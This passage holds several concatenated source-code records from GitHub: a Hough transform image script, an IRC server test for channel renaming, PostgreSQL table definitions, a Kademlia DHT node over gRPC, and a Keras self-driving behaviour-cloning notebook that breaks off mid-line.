pd.concat([phis_df, rs_df], axis=1).reset_index(drop=True).groupby([\"phis\", \"rs\"]).size()\\\n .sort_values(ascending=False)\n edges = edges[edges >= hough_threshold]\n\n gs_img_3d = gs_img.convert(\"RGB\")\n gs_array_3d = asarray(gs_img_3d)\n\n print(edges)\n\n for index in edges.index:\n phi, r = index\n print(index, edges[index])\n for x in range(gs_array.shape[1]):\n if phi == 0: # vertical line --> check all the points with x = r, than break out of the loop\n for y in range(gs_array.shape[0]):\n gs_array_3d[y][r] = (255, 0, 0)\n break\n\n # if phi < 90:\n # y_hi = int((r - x * math.cos(math.pi * phi / 180)) / math.sin(math.pi * phi / 180))\n # y_lo = int((r - (x + 1) * math.cos(math.pi * phi / 180)) / math.sin(math.pi * phi / 180))\n # else:\n # y_lo = int((r - (x - resolution[1]) * math.cos(math.pi * phi / 180)) / math.sin(math.pi * phi / 180))\n # y_hi = int((r - (x + 1 - resolution[1]) * math.cos(math.pi * phi / 180)) / math.sin(math.pi * phi / 180))\n\n y_hi = int((r - x * math.cos(math.pi * phi / 180)) / math.sin(math.pi * phi / 180))\n y_lo = int((r - (x + 1) * math.cos(math.pi * phi / 180)) / math.sin(math.pi * phi / 180))\n\n if y_hi < gs_array.shape[0] and y_lo >= 0:\n diff = y_hi - y_lo + 1\n for i in range(diff):\n if i < diff / 2:\n gs_array_3d[y_lo + i][x] = (255, 0, 0)\n if i >= diff / 2:\n gs_array_3d[y_lo + i][x + 1] = (255, 0, 0)\n\n return gs_img_3d\n\n\nselector = \"headphones_case\"\nimg = Image.open(path[selector])\n\ngs_img = ImageOps.grayscale(img)\ngs_img.show()\n\ntime_1 = sum([a * b for a, b in zip([int(x) for x in datetime.now().strftime(\"%X\").split(\":\")],\n [3600, 60, 1])])\n\nresult = hough_transform(gs_img, hough_thresholds[selector])\n\ntime_2 = sum([a * b for a, b in zip([int(x) for x in datetime.now().strftime(\"%X\").split(\":\")],\n [3600, 60, 1])])\n\nprint(f\"This only took {round((time_2 - time_1) / 60, 1)} minutes\")\n\nresult.show()\n","repo_name":"JanIsHacking/Machine-Vision-KIT-VL","sub_path":"src/curve_fitting/hough_transform.py","file_name":"hough_transform.py","file_ext":"py","file_size_in_byte":4436,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"20582209995","text":"\"\"\"\n`Draft IRCv3 channel-rename `_\n\"\"\"\n\nfrom irctest import cases\nfrom irctest.numerics import ERR_CHANOPRIVSNEEDED\n\nRENAME_CAP = \"draft/channel-rename\"\n\n\n@cases.mark_specifications(\"IRCv3\")\nclass ChannelRenameTestCase(cases.BaseServerTestCase):\n \"\"\"Basic tests for channel-rename.\"\"\"\n\n def testChannelRename(self):\n self.connectClient(\n \"bar\", name=\"bar\", capabilities=[RENAME_CAP], skip_if_cap_nak=True\n )\n self.connectClient(\"baz\", name=\"baz\")\n self.joinChannel(\"bar\", \"#bar\")\n self.joinChannel(\"baz\", \"#bar\")\n self.getMessages(\"bar\")\n self.getMessages(\"baz\")\n\n self.sendLine(\"bar\", \"RENAME #bar #qux :no reason\")\n self.assertMessageMatch(\n self.getMessage(\"bar\"),\n command=\"RENAME\",\n params=[\"#bar\", \"#qux\", \"no reason\"],\n )\n legacy_responses = self.getMessages(\"baz\")\n self.assertEqual(\n 1,\n len(\n [\n msg\n for msg in legacy_responses\n if msg.command == \"PART\" and msg.params[0] == \"#bar\"\n ]\n ),\n )\n self.assertEqual(\n 1,\n len(\n [\n msg\n for msg in legacy_responses\n if msg.command == \"JOIN\" and msg.params == [\"#qux\"]\n ]\n ),\n )\n\n self.joinChannel(\"baz\", \"#bar\")\n self.sendLine(\"baz\", \"MODE #bar +k beer\")\n self.assertNotIn(\n ERR_CHANOPRIVSNEEDED, [msg.command for msg in self.getMessages(\"baz\")]\n )\n","repo_name":"progval/irctest","sub_path":"irctest/server_tests/channel_rename.py","file_name":"channel_rename.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"21"} +{"seq_id":"14618985542","text":"import abc\n\nfrom psycopg2 import sql\n\n\n\n\nclass Table(abc.ABCMeta):\n TABLE_NAME = \"\"\n UUID = \"uuid\"\n\n\n @staticmethod\n @abc.abstractmethod\n async def execute(cur):\n pass\n\n\nclass Accounts(Table):\n TABLE_NAME = \"accounts\"\n ID = \"id\"\n TIMESTAMP = \"time_stamp\"\n EMAIL = \"email\"\n FIRST_NAME = \"first_name\"\n LAST_NAME = \"last_name\"\n PASSWORD = \"password\"\n\n\n @staticmethod\n async def execute(cur):\n await cur.execute(sql.SQL(\"\"\"\n CREATE TABLE IF NOT EXISTS {0} (\n {1} SERIAL PRIMARY KEY,\n {2} VARCHAR UNIQUE, \n {3} TIMESTAMP,\n {4} VARCHAR (100) UNIQUE,\n {5} VARCHAR (50),\n {6} VARCHAR (50),\n {7} VARCHAR \n );\"\"\").format(sql.Identifier(Accounts.TABLE_NAME),\n sql.Identifier(Accounts.ID),\n sql.Identifier(Accounts.UUID),\n sql.Identifier(Accounts.TIMESTAMP),\n sql.Identifier(Accounts.EMAIL),\n sql.Identifier(Accounts.FIRST_NAME),\n sql.Identifier(Accounts.LAST_NAME),\n sql.Identifier(Accounts.PASSWORD)))\n\nclass Profiles(Table):\n TABLE_NAME = \"profiles\"\n ID = \"id\"\n ACCOUNT_ID = \"account_id\"\n PROFILE_PIC = \"profile_pic\"\n\n @staticmethod\n async def create_profile(cur):\n await cur.execute(sql.SQL(\"\"\"\n CREATE TABLE IF NOT EXISTS {0} (\n {1} SERIAL PRIMARY KEY ,\n {2} VARCHAR UNIQUE ,\n {3} INTEGER REFERENCES {4} (id),\n {5} VARCHAR (150)\n );\n \"\"\").format(sql.Identifier(Profiles.TABLE_NAME),\n sql.Identifier(Profiles.ID),\n sql.Identifier(Profiles.UUID),\n sql.Identifier(Profiles.ACCOUNT_ID),\n sql.Identifier(Accounts.TABLE_NAME),\n sql.Identifier(Profiles.PROFILE_PIC)))\n\n\nclass Questions(Table):\n TABLE_NAME = \"questions\"\n ID = \"id\"\n AUTHOR = \"author\"\n TITLE = \"title\"\n DATE = \"date\"\n\n @staticmethod\n async def execute(cur):\n await cur.execute(sql.SQL(\"\"\"\n CREATE TABLE IF NOT EXISTS {0} (\n {1} SERIAL PRIMARY KEY,\n {2} VARCHAR UNIQUE,\n {3} VARCHAR (100) UNIQUE,\n {4} DATE NOT NULL DEFAULT CURRENT_DATE \n );\n \"\"\").format(sql.Identifier(Questions.TABLE_NAME),\n sql.Identifier(Questions.ID),\n sql.Identifier(Questions.UUID),\n sql.Identifier(Questions.TITLE),\n sql.Identifier(Questions.DATE)))\n\nclass Tags(Table):\n TABLE_NAME = \"tags\"\n ID = \"id\"\n NAME = \"name\"\n\n @staticmethod\n async def execute(cur):\n await cur.execute(sql.SQL(\"\"\"\n CREATE TABLE IF NOT EXISTS {0}(\n {1} SERIAL PRIMARY KEY,\n {2} VARCHAR UNIQUE,\n {3} VARCHAR(100) UNIQUE \n );\n \"\"\").format(sql.Identifier(Tags.TABLE_NAME),\n sql.Identifier(Tags.ID),\n sql.Identifier(Tags.UUID),\n sql.Identifier(Tags.NAME)))\n\nclass Vendors(Table):\n TABLE_NAME = \"vendors\"\n ID = \"id\"\n NAME = \"name\"\n\n @staticmethod\n async def execute(cur):\n await cur.execute(sql.SQL(\"\"\"\n CREATE TABLE IF NOT EXISTS {0} (\n {1} SERIAL PRIMARY KEY,\n {2} VARCHAR UNIQUE,\n {3} VARCHAR (100) UNIQUE \n );\n \"\"\").format(sql.Identifier(Vendors.TABLE_NAME),\n sql.Identifier(Vendors.ID),\n sql.Identifier(Vendors.UUID),\n sql.Identifier(Vendors.NAME)))\n\nclass Answers(Table):\n TABLE_NAME = \"answers\"\n ID = \"id\"\n ANSWER = \"answer\"\n QUESTION_ID = \"question_id\"\n\n @staticmethod\n async def execute(cur):\n await cur.execute(sql.SQL(\"\"\"\n CREATE TABLE IF NOT EXISTS {0} (\n {1} SERIAL PRIMARY KEY,\n {2} VARCHAR UNIQUE,\n {3} VARCHAR,\n {4} VARCHAR REFERENCES {5} (uuid)\n );\n \"\"\"\n ).format(sql.Identifier(Answers.TABLE_NAME),\n sql.Identifier(Answers.ID),\n sql.Identifier(Answers.UUID),\n sql.Identifier(Answers.ANSWER),\n sql.Identifier(Answers.QUESTION_ID),\n sql.Identifier(Questions.TABLE_NAME)))\n\nclass Categories(Table):\n TABLE_NAME = \"categories\"\n ID = \"id\"\n CATEGORY = \"name\"\n\n @staticmethod\n async def execute(cur):\n await cur.execute(sql.SQL(\"\"\"\n CREATE TABLE IF NOT EXISTS {0} (\n {1} SERIAL PRIMARY KEY,\n {2} VARCHAR UNIQUE ,\n {3} VARCHAR UNIQUE\n );\n \"\"\").format(sql.Identifier(Categories.TABLE_NAME),\n sql.Identifier(Categories.ID),\n sql.Identifier(Categories.UUID),\n sql.Identifier(Categories.CATEGORY)))\n\n\nclass Contributors(Table):\n TABLE_NAME = \"contributors\"\n ID = \"id\"\n NAME = \"name\"\n\n @staticmethod\n async def execute(cur):\n await cur.execute(sql.SQL(\"\"\"\n CREATE TABLE IF NOT EXISTS {0} (\n {1} SERIAL PRIMARY KEY,\n {2} VARCHAR UNIQUE ,\n {3} VARCHAR UNIQUE\n );\n \"\"\").format(sql.Identifier(Contributors.TABLE_NAME),\n sql.Identifier(Contributors.ID),\n sql.Identifier(Contributors.UUID),\n sql.Identifier(Contributors.NAME)))\n\n\nmodels = [\n Accounts,\n Questions,\n Tags,\n Vendors,\n Answers,\n Categories,\n Contributors\n]\n\n\nasync def create_models(cur):\n for model in models:\n await model.execute(cur)\n\n\n\n","repo_name":"halcyonjuly7/bb_knowledge","sub_path":"kb_api/app/main/project/core/db/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7712308324","text":"#!/usr/bin/env python3\r\n\r\nfrom concurrent import futures\r\nimport sys # For sys.argv, sys.exit()\r\nimport socket # for gethostbyname()\r\n\r\nimport grpc\r\n\r\nimport csci4220_hw4_pb2\r\nimport csci4220_hw4_pb2_grpc\r\n\r\nlocal_id = 0\r\nmy_address = ''\r\nmy_hostname = ''\r\nmy_port = 0\r\nk_buckets = []\r\nk = 0\r\n\r\n# pairs\r\npairs = dict()\r\n\r\nbits = 0\r\n\r\n# Build the Program according to the protocol\r\nclass Program(csci4220_hw4_pb2_grpc.KadImplServicer):\r\n\r\n\t# implement the methods in the protocol\r\n\tdef FindNode(self, call, setting):\r\n\t\tprint('Serving FindNode({}) request for {}'.format(call.idkey, call.node.id))\r\n\r\n\t\tS = get_k_closest(call.idkey)\r\n\t\t# update k_buckets\r\n\t\tupdate(call.node)\r\n\r\n\t\t# return k closest nodes to this nodeID\r\n\t\treturn csci4220_hw4_pb2.NodeList(responding_node=myself(), nodes=S)\r\n\r\n\tdef FindValue(self, call, setting):\r\n\t\t\"\"\"Complicated - we might get a value back, or we might get k nodes with\r\n\t\tdistance closest to key called\r\n\t\t\"\"\"\r\n\t\tprint('Serving FindKey({}) request for {}'.format(call.idkey, call.node.id))\r\n\r\n\t\tS = get_k_closest(call.idkey)\r\n\t\t# update k-buckets\r\n\t\tupdate(call.node)\r\n\t\t# return value if its in local\r\n\t\tif call.idkey in pairs:\r\n\t\t\treturn csci4220_hw4_pb2.KV_Node_Wrapper(responding_node=myself(), mode_kv=True, \r\n\t\t\t\tkv=csci4220_hw4_pb2.KeyValue(key=call.idkey, value=pairs[call.idkey]))\r\n\t\t\r\n\t\t# return k closest nodes\r\n\t\treturn csci4220_hw4_pb2.KV_Node_Wrapper(responding_node=myself(), mode_kv=False, nodes=S)\r\n\r\n\tdef Store(self, call, setting):\r\n\t\t# store this pair\r\n\t\tpairs[call.key] = call.value\r\n\t\tprint('Storing key {} value \"{}\"'.format(call.key, call.value))\r\n\t\treturn csci4220_hw4_pb2.IDKey(node=myself(), idkey=local_id)\r\n\r\n\tdef Quit(self, call, setting):\r\n\t\tfor i in range(bits):\r\n\t\t\tfor j in range(len(k_buckets[i])):\r\n\t\t\t\tif k_buckets[i][j].id == call.idkey:\r\n\t\t\t\t\t# remove the quiting node from k_buckets\r\n\t\t\t\t\tprint('Evicting quitting node {} from bucket {}'.format(call.idkey, i))\r\n\t\t\t\t\tk_buckets[i].remove(k_buckets[i][j])\r\n\t\t\t\t\treturn call\r\n\t\t\r\n\t\tprint('No record of quitting node {} in k-buckets.'.format(call.idkey))\r\n\t\treturn call\r\n\r\n# return the node itself\r\ndef myself():\r\n\treturn csci4220_hw4_pb2.Node(id=local_id, address=my_address, port=my_port)\r\n\r\n# print k_buckets\r\ndef print_k_bucket():\r\n\tfor i in range(bits):\r\n\t\tprint('{}:'.format(i), end = '')\r\n\t\tfor j in range(len(k_buckets[i])):\r\n\t\t\tprint(' {}:{}'. format(k_buckets[i][j].id, k_buckets[i][j].port), end = '')\r\n\t\tprint()\r\n\r\n\treturn\r\n\r\n# update k_buckets according to the responding node\r\ndef update(responding_node):\r\n\tif responding_node.id == local_id:\r\n\t\treturn\r\n\r\n\t# calculate the index in k_buckets\r\n\tdistance = responding_node.id ^ local_id\r\n\tindex = 0\r\n\tfor i in range(bits):\r\n\t\tif 2**i >= distance:\r\n\t\t\tindex = i\r\n\t\t\tbreak\r\n\r\n\t# if the responding node already exists in k_buckets, no need to add\r\n\tfor refresh in range(len(k_buckets[index])):\r\n\t\tif responding_node.id == k_buckets[index][refresh].id:\r\n\t\t\treturn\r\n\r\n\tif len(k_buckets[index]) != k:\r\n\t\tk_buckets[index].append(responding_node)\r\n\t\treturn\r\n\telse:\r\n\t\tdel k_buckets[index][0]\r\n\t\tk_buckets[index].append(responding_node)\r\n\t\treturn\r\n\r\n# get k closest nodes based on this nodeID\r\ndef get_k_closest(nodeID):\r\n\tallNodes = []\r\n\tk_closest = []\r\n\tfor i in range(bits):\r\n\t\tfor j in range(len(k_buckets[i])):\r\n\t\t\tallNodes.append(k_buckets[i][j])\r\n\t\r\n\t# sort the nodes by XOR distance\r\n\tallNodes.sort(key=lambda node: node.id ^ nodeID)\r\n\r\n\tvar = 0\r\n\t# if the number of nodes is less than k, then return all\r\n\tif len(allNodes) < k:\r\n\t\tvar = len(allNodes)\r\n\telse:\r\n\t\tvar = k\r\n\tfor i in range(var):\r\n\t\tk_closest.append(allNodes[i])\r\n\r\n\treturn k_closest\r\n\r\n# BOOTSTRAP \r\ndef bootStrap(remote_hostname, remote_port):\r\n\t# build the connection between two nodes\r\n\tchannel = grpc.insecure_channel(remote_hostname + \":\" + remote_port)\r\n\tstub = csci4220_hw4_pb2_grpc.KadImplStub(channel)\r\n\tresponse = stub.FindNode(csci4220_hw4_pb2.IDKey(idkey=local_id, node=myself()))\r\n\r\n\t# add nodes on each other's k_buckets\r\n\tupdate(response.responding_node)\r\n\tfor node in response.nodes:\r\n\t\tupdate(node)\r\n\r\n\t# print k_buckets\r\n\tprint(\"After BOOTSTRAP({}), k_buckets now look like:\".format(response.responding_node.id))\r\n\tprint_k_bucket()\r\n\treturn\r\n\r\n# FIND_NODE \r\ndef findNode(nodeID):\r\n\tif local_id == nodeID:\r\n\t\tprint('After FIND_NODE command, k-buckets are:')\r\n\t\tprint_k_bucket()\r\n\t\tprint('Found destination id {}'.format(nodeID))\r\n\t\treturn\r\n\r\n\tS = get_k_closest(nodeID)\r\n\tS_ = S.copy()\r\n\r\n\tfoundNode = False\r\n\tfor node in S:\r\n\t\tif foundNode:\r\n\t\t\tbreak\r\n\r\n\t\t# build the connection between two nodes\r\n\t\tchannel = grpc.insecure_channel(node.address + \":\" + str(node.port))\r\n\t\tstub = csci4220_hw4_pb2_grpc.KadImplStub(channel)\r\n\t\tR = stub.FindNode(csci4220_hw4_pb2.IDKey(idkey=nodeID, node=myself()))\r\n\t\tif R.responding_node.id == nodeID:\r\n\t\t\tprint('Found destination id {}'.format(nodeID))\r\n\t\t\tfoundNode = True\r\n\t\t\tbreak\r\n\r\n\t\tfor r in R:\r\n\t\t\tupdate(r)\r\n\t\t\tif r.id == nodeID:\r\n\t\t\t\tprint('Found destination id {}'.format(nodeID))\r\n\t\t\t\tfoundNode = True\r\n\t\t\t\tbreak\r\n\r\n\t\t# remove the visited node\r\n\t\tS_.remove(node)\r\n\t\t\r\n\tif not foundNode:\r\n\t\tprint('Could not find destination id {}'.format(nodeID))\r\n\r\n\tprint('After FIND_NODE command, k-buckets are:')\r\n\tprint_k_bucket()\r\n\r\n#FIND_VALUE \r\ndef findValue(key):\r\n\t# if key is at local\r\n\tif key in pairs:\r\n\t\tprint('Found data \"{}\" for key {}'.format(pairs[key], key))\r\n\t\tprint('After FIND_VALUE command, k-buckets are:')\r\n\t\tprint_k_bucket()\r\n\t\treturn\r\n\r\n\tS = get_k_closest(key)\r\n\tS_ = S.copy()\r\n\r\n\tfoundNode = False\r\n\r\n\tfor node in S:\r\n\t\t# build the connection between two nodes\r\n\t\tchannel = grpc.insecure_channel(node.address + \":\" + str(node.port))\r\n\t\tstub = csci4220_hw4_pb2_grpc.KadImplStub(channel)\r\n\t\tR = stub.FindValue(csci4220_hw4_pb2.IDKey(idkey=key, node=myself()))\r\n\r\n\t\tfor r in R.nodes:\r\n\t\t\tupdate(r)\r\n\t\tupdate(R.responding_node)\r\n\r\n\t\t# FOUND\r\n\t\tif R.mode_kv:\r\n\t\t\tfoundNode = True\r\n\t\t\tprint('Found value \"{}\" for key {}'.format(R.kv.value, key))\r\n\t\t\tbreak\r\n\r\n\t\t#remove the visited node\r\n\t\tS_.remove(node)\r\n\t\t\r\n\tif not foundNode:\r\n\t\tprint('Could not find key {}'.format(key))\r\n\r\n\tprint('After FIND_VALUE command, k-buckets are:')\r\n\tprint_k_bucket()\r\n\r\n# STORE \r\ndef store(key, value):\r\n\tS = get_k_closest(key)\r\n\t# if need to store pairs locally\r\n\tif len(S) == 0:\r\n\t\tpairs[key] = value\r\n\t\tprint('Storing key {} at node {}'.format(key, local_id))\r\n\t\treturn\r\n\r\n\t# if need to store pairs locally\r\n\tif local_id ^ key < S[0].id ^ key:\r\n\t\tpairs[key] = value\r\n\t\tprint('Storing key {} at node {}'.format(key, local_id))\r\n\t\treturn\r\n\r\n\telse:\r\n\t\t# save to closest node\r\n\t\t# build the connection between two nodes\r\n\t\tchannel = grpc.insecure_channel(S[0].address + \":\" + str(S[0].port))\r\n\t\tstub = csci4220_hw4_pb2_grpc.KadImplStub(channel)\r\n\t\tstub.Store(csci4220_hw4_pb2.KeyValue(node=myself(), key=key, value=value))\r\n\t\tprint('Storing key {} at node {}'.format(key, S[0].id))\r\n\t\treturn\r\n\r\n# QUIT command\r\ndef quit():\r\n\t# collect all nodes in k_buckets\r\n\tallNodes = []\r\n\tfor i in range(bits):\r\n\t\tfor j in range(len(k_buckets[i])):\r\n\t\t\tallNodes.append(k_buckets[i][j])\r\n\r\n\t# quit each node\r\n\tfor n in allNodes:\r\n\t\tprint('Letting {} know I\\'m quitting.'.format(n.id))\r\n\t\tchannel = grpc.insecure_channel(n.address + \":\" + str(n.port))\r\n\t\tstub = csci4220_hw4_pb2_grpc.KadImplStub(channel)\r\n\t\tstub.Quit(csci4220_hw4_pb2.IDKey(idkey=local_id))\r\n\r\ndef run():\r\n\tif len(sys.argv) != 4:\r\n\t\tprint(\"Error, correct usage is {} [my id] [my port] [k]\".format(sys.argv[0]))\r\n\t\tsys.exit(-1)\r\n\r\n\r\n\tglobal local_id\r\n\tglobal k_buckets\r\n\tglobal k\r\n\tglobal my_address\r\n\tglobal my_port\r\n\tglobal my_hostname\r\n\tglobal bits\r\n\r\n\tlocal_id = int(sys.argv[1])\r\n\tmy_port = int(sys.argv[2]) # add_insecure_port() will want a string\r\n\tk = int(sys.argv[3])\r\n\tmy_hostname = socket.gethostname() # Gets my host name\r\n\tmy_address = socket.gethostbyname(my_hostname) # Gets my IP address from my hostname\r\n\r\n\t# calculate the bits and initialize k_buckets\r\n\ttemp = my_port\r\n\twhile temp != 0:\r\n\t\tbits += 1\r\n\t\ttemp = temp // 10\r\n\r\n\tfor i in range(bits):\r\n\t\tk_buckets.append([])\r\n\r\n\tprogram = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\r\n\tcsci4220_hw4_pb2_grpc.add_KadImplServicer_to_server(Program(), program)\r\n\tprogram.add_insecure_port('[::]:' + str(my_port))\r\n\tprogram.start()\r\n\t\r\n\t# process commands \r\n\twhile True:\r\n\t\ttypein = input('')\r\n\t\tcommand = typein.split()\r\n\t\t# BOOTSTRAP\r\n\t\tif command[0] == 'BOOTSTRAP':\r\n\t\t\tbootStrap(command[1], command[2])\r\n\r\n\t\t# FIND_NODE\r\n\t\telif command[0] == 'FIND_NODE':\r\n\t\t\tprint('Before FIND_NODE command, k-buckets are:')\r\n\t\t\tprint_k_bucket()\r\n\r\n\t\t\tfindNode(int(command[1]))\r\n\r\n\t\t# FIND_VALUE\r\n\t\telif command[0] == 'FIND_VALUE':\r\n\t\t\tprint('Before FIND_VALUE command, k-buckets are:')\r\n\t\t\tprint_k_bucket()\r\n\r\n\t\t\tfindValue(int(command[1]))\r\n\r\n\t\t# STORE\r\n\t\telif command[0] == 'STORE':\r\n\t\t\tstore(int(command[1]), command[2])\r\n\t\t\r\n\t\t# QUIT\r\n\t\telif command[0] == 'QUIT':\r\n\t\t\tquit()\r\n\t\t\tprint('Shut down node {}'.format(local_id))\r\n\t\t\tprogram.stop(0)\r\n\t\t\tbreak\r\n\r\nif __name__ == '__main__':\r\n\trun()","repo_name":"caokongming/random","sub_path":"hw4.py","file_name":"hw4.py","file_ext":"py","file_size_in_byte":9074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32165726595","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Behaviour Cloning Project\n\n# >In this project, I am describing the behaviour cloning of Self Driving Car in Udacity\n\n# In[1]:\n\n\nimport cv2\nfrom keras.models import Sequential\nfrom keras import layers\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\nfrom keras.backend.tensorflow_backend import set_session\nfrom keras.optimizers import rmsprop\nfrom keras.regularizers import l2\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nimport tensorflow as tf\nfrom tensorflow import set_random_seed\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\n# dynamically grow the memory used on the GPU\nconfig.log_device_placement = True\n# to log device placement (on which device the operation ran)\nsess = tf.Session(config=config)\nset_session(sess)\n\n\n# Setting seed value of 1\n\n# In[2]:\n\n\nSEED = 1\nnp.random.seed(SEED)\nset_random_seed(SEED)\n\n\n# ### Utility functions\n\n# In[3]:\n\n\ndef read_images(batch):\n images = [None] * len(batch)\n for i, image_name in enumerate(batch):\n image = cv2.imread(image_name)\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n images[i] = image\n images = np.array(images)\n return images\n\n\n# generater of loading data\n\n# In[4]:\n\n\ndef loader(data, batch_size):\n i = 0\n while True:\n batch = data.iloc[i : i + batch_size]\n batch_image_names = batch[\"Center Image\"].values.tolist()\n batch_images = read_images(batch_image_names)\n steering = batch[\"Steering\"].values.tolist()\n i = i + batch_size\n if i >= len(data):\n i = 0\n yield batch_images, steering\n\n\n# Data folder\n\n# In[5]:\n\n\nDATA_FOLDER = \"../data/Simulator/\"\nnormal = os.path.join(DATA_FOLDER, \"CenterLaneDriving\")\nrecovery = os.path.join(DATA_FOLDER, \"RecoveryLap\")\nrecovery2 = os.path.join(DATA_FOLDER, \"RecoveryLap2\")\ndifficult = os.path.join(DATA_FOLDER, \"Difficult\")\ndifficult2 = os.path.join(DATA_FOLDER, \"Difficult2\")\ndifficult_recovery = os.path.join(DATA_FOLDER, \"DifficultRecovery\")\n\n\n# Names of the collumns\n\n# In[6]:\n\n\nnames = [\n \"Center Image\",\n \"Left Image\",\n \"Right Image\",\n \"Steering\",\n \"Throttle\",\n \"Brake\",\n \"Speed\",\n]\n\n\n# Driving logs\n\n# In[7]:\n\n\nnormal_driving_log = pd.read_csv(os.path.join(normal, \"driving_log.csv\"), names=names)\n\n\n# In[8]:\n\n\nnormal_driving_log.head()\n\n\n# Steering angle distribution\n\n# In[9]:\n\n\nnormal_driving_log[\"Steering\"].hist(bins=10)\n\n\n# Recovery driving log\n\n# In[10]:\n\n\nrecovery_driving_log = pd.read_csv(\n os.path.join(recovery, \"driving_log.csv\"), names=names\n)\nrecovery_driving_log2 = pd.read_csv(\n os.path.join(recovery2, \"driving_log.csv\"), names=names\n)\n\n\n# In[11]:\n\n\nrecovery_driving_log.head()\n\n\n# Recovery driving log distribution\n\n# In[12]:\n\n\nrecovery_driving_log[\"Steering\"].hist()\n\n\n# In the Recovery driving, we don't need the normal steering angle. The main purpose is to get the recovery driving which should not have steering angle of 0\n\n# In[13]:\n\n\nrecovery_driving_log[recovery_driving_log[\"Steering\"] != 0.0][\"Steering\"].hist()\n\n\n# also for the second recovery driving log\n\n# In[14]:\n\n\nrecovery_driving_log2[recovery_driving_log2[\"Steering\"] != 0.0][\"Steering\"].hist()\n\n\n# In[15]:\n\n\nrecovery_driving_log = recovery_driving_log[recovery_driving_log[\"Steering\"] != 0.0]\nrecovery_driving_log2 = recovery_driving_log2[recovery_driving_log2[\"Steering\"] != 0.0]\n\n\n# ### Normal Track\n\n# In[16]:\n\n\nfull_driving_log = pd.concat(\n [normal_driving_log, recovery_driving_log, recovery_driving_log2]\n)\n\n\n# We need only the `Center Image` and `Steering angle`\n\n# In[17]:\n\n\ndata = full_driving_log[[\"Center Image\", \"Steering\"]]\n\n\n# In[18]:\n\n\ndata[\"Steering\"].hist()\n\n\n# Most of the steering angles are around `0`. This might bias our model . So I am removing those data\n\n# In[19]:\n\n\ndata = data[data[\"Steering\"] != 0.0]\n\n\n# In[20]:\n\n\nprint(\"Number of data points: {}\".format(len(data)))\n\n\n# In[21]:\n\n\ndata.head()\n\n\n# In[22]:\n\n\ndata.hist()\n\n\n# ### Model training and Validation\n\n# Train test split\n\n# In[23]:\n\n\ntrain, test = train_test_split(data)\n\n\n# In[24]:\n\n\ntrain[\"Steering\"].hist()\n\n\n# In[25]:\n\n\ntest[\"Steering\"].hist()\n\n\n# function for reading images\n\n# #### Model\n\n# After many iterations I have selected a sequential model based on `Alexnet`. The problem looked simple enough to use this model\n\n# In[26]:\n\n\nmodel = Sequential()\nmodel.add(layers.Lambda(lambda x: x / 255.0, input_shape=(160, 320, 3)))\nmodel.add(layers.Cropping2D(cropping=((50, 20), (0, 0))))\nmodel.add(\n layers.Conv2D(\n 64, (5, 5), strides=(1, 1), activation=\"relu\", kernel_regularizer=l2(0.01)\n )\n)\nmodel.add(layers.Dropout(0.5))\nmodel.add(layers.MaxPooling2D(pool_size=2, strides=2))\nmodel.add(layers.Conv2D(128, (5, 5), activation=\"relu\", kernel_regularizer=l2(0.01)))\nmodel.add(layers.MaxPooling2D((2, 2)))\nmodel.add(layers.Conv2D(256, (5, 5), activation=\"relu\", kernel_regularizer=l2(0.01)))\nmodel.add(layers.MaxPooling2D((2, 2)))\nmodel.add(layers.Dropout(0.5))\nmodel.add(layers.Flatten())\nmodel.add(layers.Dense(units=250, activation=\"relu\", kernel_regularizer=l2(0.01)))\nmodel.add(layers.Dense(units=120, activation=\"relu\", kernel_regularizer=l2(0.01)))\nmodel.add(layers.Dense(units=84, activation=\"relu\", kernel_regularizer=l2(0.01)))\nmodel.add(layers.Dense(1))\nmodel.compile(optimizer=rmsprop(lr=0.0001, rho=0.9), loss=\"mse\")\nmodel.summary()\n\n\n# In[27]:\n\n\ntrain_loader = loader(train, 32)\ntest_loader = loader(test, 32)\n\n\n# In[ ]:\n\n\nhistory = model.fit_generator(\n train_loader,\n steps_per_epoch=len(train) // 32,\n validation_data=test_loader,\n validation_steps=87,\n epochs=50,\n callbacks=[\n EarlyStopping(monitor=\"val_loss\", patience=5),\n ModelCheckpoint(\n \"model.h5\", save_best_only=True, monitor=\"val_loss\", mode=\"min\"\n ),\n ],\n)\n\n\n# Let's look at the loss curve\n\n# In[ ]:\n\n\nplt.plot(history.history[\"loss\"], label=\"loss\")\nplt.plot(history.history[\"val_loss\"], label=\"val_loss\")\nplt.legend()\n\n\n# Perfect!\n\n# ## Difficult track\n\n# The another track of the simulator is very difficult. I also collected data from that track\n\n# In[ ]:\n\n\ndifficult_driving_log = pd.read_csv(\n os.path.join(difficult, \"driving_log.csv\"), names=names\n)\n\n\n# In[ ]:\n\n\ndifficult_driving_log[\"Steering\"].hist()\n\n\n# In[ ]:\n\n\ndifficult_driving_log2 = pd.read_csv(\n os.path.join(difficult2, \"driving_log.csv\"), names=names\n)\n\n\n# In[ ]:\n\n\ndifficult_driving_log2[\"Steering\"].hist()\n\n\n# In[ ]:\n\n\ndifficult_recovery = pd.read_csv(\n os.path.join(difficult_recovery, \"driving_log.csv\"), names=names\n)\n\n\n# In[ ]:\n\n\nfull_difficult_driving_log = pd.concat(\n [difficult_driving_log, difficult_driving_log2, difficult_recovery]\n)\n\n\n# In[ ]:\n\n\ndata = full_difficult_driving_log[[\"Center Image\", \"Steering\"]]\n\n\n# In[ ]:\n\n\ndata[\"Steering\"].hist()\n\n\n# Again we see that the values around 0 is too high. So again , I have excluded those values\n\n# In[ ]:\n\n\ndata = data[data[\"Steering\"] != 0.0]\n\n\n# In[ ]:\n\n\ndata.hist()\n\n\n# So, let's train again!\n\n# In[ ]:\n\n\nprint(\"Number of data points: {}\".format(len(data)))\n\n\n# In[ ]:\n\n\ntrain, test = 